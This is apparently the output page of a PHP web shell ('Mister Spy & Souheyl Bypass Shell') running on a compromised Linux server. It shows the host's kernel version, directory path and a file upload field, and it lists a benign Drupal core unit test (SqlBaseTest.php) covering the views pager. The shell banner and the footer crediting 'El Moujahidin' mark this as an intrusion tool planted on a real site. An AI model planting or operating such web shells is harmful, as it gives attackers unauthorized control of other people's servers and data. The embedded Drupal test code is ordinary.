Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/views/tests/src/Unit/Plugin/pager/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/views/tests/src/Unit/Plugin/pager/SqlBaseTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\views\Unit\Plugin\pager;

use Drupal\Core\DependencyInjection\ContainerBuilder;
use Drupal\Tests\UnitTestCase;
use Drupal\views\Plugin\views\query\QueryPluginBase;
use Symfony\Component\HttpFoundation\Request;

/**
 * @coversDefaultClass \Drupal\views\Plugin\views\pager\SqlBase
 * @group views
 */
class SqlBaseTest extends UnitTestCase {

  /**
   * The mock pager plugin instance.
   *
   * @var \Drupal\views\Plugin\views\pager\SqlBase|\PHPUnit\Framework\MockObject\MockObject
   */
  protected $pager;

  /**
   * The mock view instance.
   *
   * @var \Drupal\views\ViewExecutable|\PHPUnit\Framework\MockObject\MockObject
   */
  protected $view;

  /**
   * The mock display plugin instance.
   *
   * @var \Drupal\views\Plugin\views\display\DisplayPluginBase|\PHPUnit\Framework\MockObject\MockObject
   */
  protected $display;

  protected function setUp(): void {
    parent::setUp();

    $this->pager = $this->getMockBuilder('Drupal\views\Plugin\views\pager\SqlBase')
      ->disableOriginalConstructor()
      ->getMockForAbstractClass();

    /** @var \Drupal\views\ViewExecutable|\PHPUnit\Framework\MockObject\MockObject $view */
    $this->view = $this->getMockBuilder('Drupal\views\ViewExecutable')
      ->disableOriginalConstructor()
      ->getMock();

    $query = $this->getMockBuilder(QueryPluginBase::class)
      ->disableOriginalConstructor()
      ->getMock();

    $this->view->query = $query;

    $this->display = $this->getMockBuilder('Drupal\views\Plugin\views\display\DisplayPluginBase')
      ->disableOriginalConstructor()
      ->getMock();

    $container = new ContainerBuilder();
    $container->set('string_translation', $this->getStringTranslationStub());
    \Drupal::setContainer($container);
  }

  /**
   * Tests the query() method.
   *
   * @see \Drupal\views\Plugin\views\pager\SqlBase::query()
   */
  public function testQuery(): void {
    $request = new Request([
      'items_per_page' => 'All',
    ]);
    $this->view->expects($this->any())
      ->method('getRequest')
      ->willReturn($request);

    $options = [];
    $this->pager->init($this->view, $this->display, $options);
    $this->pager->query();
    $this->assertSame(10, $this->pager->options['items_per_page']);

    $options = [
      'expose' => [
        'items_per_page' => TRUE,
        'items_per_page_options_all' => TRUE,
      ],
    ];
    $this->pager->init($this->view, $this->display, $options);
    $this->pager->query();
    $this->assertSame(0, $this->pager->options['items_per_page']);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net